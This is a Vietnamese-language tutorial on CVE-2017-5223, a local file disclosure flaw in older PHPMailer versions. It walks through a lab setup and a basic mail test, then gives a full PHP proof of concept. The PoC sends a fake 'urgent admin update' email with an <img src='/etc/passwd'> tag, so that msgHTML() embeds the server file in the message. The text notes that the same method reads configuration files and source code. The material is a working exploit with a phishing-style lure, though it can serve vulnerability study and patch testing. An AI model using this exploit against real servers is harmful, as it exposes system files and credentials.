Giới thiệu về Lỗ hổng CVE-2017-5223
Bài viết này trình bày chi tiết về lỗ hổng tiết lộ tệp cục bộ (Local File Disclosure) được định danh là CVE-2017-5223, ảnh hưởng đến các phiên bản thư viện PHPMailer trước 5.2.21. Lỗ hổng này cho phép kẻ tấn công đọc các tệp tùy ý trên máy chủ nơi ứng dụng PHPMailer đang hoạt động, bằng cách lừa thư viện nhúng nội dung của các tệp cục bộ vào email gửi đi.
Thiết lập Môi trường Thử nghiệm
Để tái hiện và khai thác lỗ hổng này, chúng ta cần thiết lập một môi trường cơ bản bao gồm một máy chủ email và một ứng dụng PHP sử dụng phiên bản PHPMailer dễ bị tổn thương.
1. Cấu hình Máy chủ Email
Một máy chủ SMTP là yêu cầu cơ bản để PHPMailer có thể gửi thư. Đối với môi trường thử nghiệm cục bộ, bạn có thể sử dụng các máy chủ email như Postfix, Sendmail hoặc Exim. Nếu máy chủ email và máy chủ ứng dụng PHPMailer nằm trên cùng một mạng nội bộ và bạn sử dụng tên miền tùy chỉnh (ví dụ: `mail.localdomain.com`), bạn có thể cần thêm một bản ghi vào tệp `/etc/hosts` trên máy chủ ứng dụng để phân giải tên miền này thành địa chỉ IP của máy chủ email.
192.168.0.6 mail.localdomain.com
Trong ví dụ này, `192.168.0.6` là địa chỉ IP của máy chủ email.
2. Môi trường Ứng dụng PHPMailer
Chúng ta sẽ cài đặt một máy chủ web (ví dụ Apache hoặc Nginx) với PHP và thư viện PHPMailer phiên bản 5.2.16 (hoặc bất kỳ phiên bản nào nhỏ hơn 5.2.21) trên một máy chủ riêng. Đảm bảo rằng bạn đã đặt thư mục PHPMailer và các tệp PHP thử nghiệm có thể truy cập được qua web.
Kiểm tra Chức năng Gửi Email Cơ bản
Để xác minh rằng PHPMailer có thể kết nối và gửi email thành công đến máy chủ email đã cấu hình, hãy tạo một tệp PHP có tên `send_test_mail.php` với nội dung sau:
<?php
require_once 'PHPMailerAutoload.php';
$emailClient = new PHPMailer(true); // Bật chế độ ngoại lệ
try {
$emailClient->isSMTP();
$emailClient->Host = 'mail.localdomain.com'; // Địa chỉ máy chủ SMTP
$emailClient->Port = 25; // Cổng SMTP
$emailClient->SMTPAuth = false; // Không sử dụng xác thực SMTP
$emailClient->SMTPSecure = false; // Không sử dụng mã hóa SSL/TLS
$emailClient->CharSet = 'UTF-8';
$emailClient->Encoding = 'base64';
// Đặt thông tin người gửi và người nhận
$emailClient->setFrom('sender@localdomain.com', 'Người gửi thử nghiệm');
$emailClient->addAddress('receiver@localdomain.com', 'Người nhận kiểm tra');
$emailClient->Subject = 'Thư kiểm tra từ PHPMailer';
$emailClient->Body = 'Đây là một email thử nghiệm đơn giản được gửi bằng PHPMailer để xác minh cấu hình.';
$emailClient->AltBody = 'Thử nghiệm gửi email PHP qua PHPMailer.';
$emailClient->send();
echo 'Thư đã được gửi thành công đến ' . $emailClient->Host . '!';
} catch (Exception $e) {
echo 'Lỗi khi gửi thư: ' . $emailClient->ErrorInfo;
}
?>
Khi bạn truy cập `send_test_mail.php` qua trình duyệt web, bạn sẽ thấy thông báo "Thư đã được gửi thành công!" nếu mọi thứ được cấu hình chính xác, và email sẽ xuất hiện trong hộp thư của `receiver@localdomain.com`.
Khai thác Lỗ hổng Tiết lộ Tệp cục bộ
Lỗ hổng CVE-2017-5223 nằm ở cách PHPMailer xử lý các hình ảnh nhúng trong nội dung email HTML thông qua phương thức `msgHTML()`. Nếu nội dung HTML bao gồm một thẻ `<img>` với thuộc tính `src` trỏ đến một đường dẫn tệp cục bộ trên máy chủ (ví dụ: `<img src="/etc/passwd">`), PHPMailer sẽ cố gắng đọc nội dung của tệp đó. Dữ liệu tệp được đọc sẽ được mã hóa base64 và nhúng vào email, từ đó tiết lộ nội dung của tệp cho người nhận email.
Dưới đây là đoạn mã PoC (Proof of Concept) minh họa cách khai thác lỗ hổng này để đọc tệp `/etc/passwd` trên một hệ thống Linux:
<?php
require_once 'PHPMailerAutoload.php';
$exploitMail = new PHPMailer(true);
try {
$exploitMail->isSMTP();
$exploitMail->Host = 'mail.localdomain.com';
$exploitMail->Port = 25;
$exploitMail->SMTPAuth = false;
$exploitMail->SMTPSecure = false;
$exploitMail->CharSet = 'UTF-8';
$exploitMail->Encoding = 'base64';
$exploitMail->setFrom('malicious_sender@localdomain.com', 'Kẻ tấn công');
$exploitMail->addAddress('target_recipient@localdomain.com', 'Người nhận');
$exploitMail->Subject = 'Thông báo quan trọng từ quản trị viên!';
// Tạo nội dung HTML chứa thẻ <img> độc hại
$htmlBodyContent = '<h3>Cập nhật hệ thống khẩn cấp</h3>';
$htmlBodyContent .= '<p>Chào bạn,</p>';
$htmlBodyContent .= '<p>Chúng tôi đã phát hiện một số sự cố. Vui lòng xem thông tin chi tiết về người dùng hệ thống bên dưới:</p>';
// Lỗ hổng được kích hoạt khi PHPMailer cố gắng nhúng tệp cục bộ như một hình ảnh
$htmlBodyContent .= '<img src="/etc/passwd" alt="Nội dung tệp /etc/passwd"><br>';
$htmlBodyContent .= '<p>Xin lỗi vì sự bất tiện này.</p>';
$exploitMail->msgHTML($htmlBodyContent); // PHPMailer sẽ đọc và nhúng tệp /etc/passwd vào đây
$exploitMail->send();
echo 'Email khai thác đã được gửi thành công. Kiểm tra hộp thư của người nhận để xem nội dung tệp đã bị tiết lộ.';
} catch (Exception $e) {
echo 'Lỗi trong quá trình gửi email khai thác: ' . $exploitMail->ErrorInfo;
}
?>
Khi đoạn mã PoC này được thực thi, một email sẽ được gửi đến `target_recipient@localdomain.com`. Nếu lỗ hổng tồn tại và tiến trình PHP có quyền đọc tệp `/etc/passwd`, nội dung của tệp này sẽ được mã hóa base64 và nhúng vào email dưới dạng dữ liệu hình ảnh. Khi người nhận mở email, họ có thể thấy nội dung của `/etc/passwd` hiển thị (thường là một hình ảnh bị lỗi hoặc dữ liệu mã hóa) trong email, từ đó tiết lộ thông tin nhạy cảm của hệ thống. Kỹ thuật tương tự có thể được áp dụng để đọc các tệp cấu hình khác, mã nguồn ứng dụng, hoặc bất kỳ tệp nào mà tiến trình PHP có quyền truy cập đọc.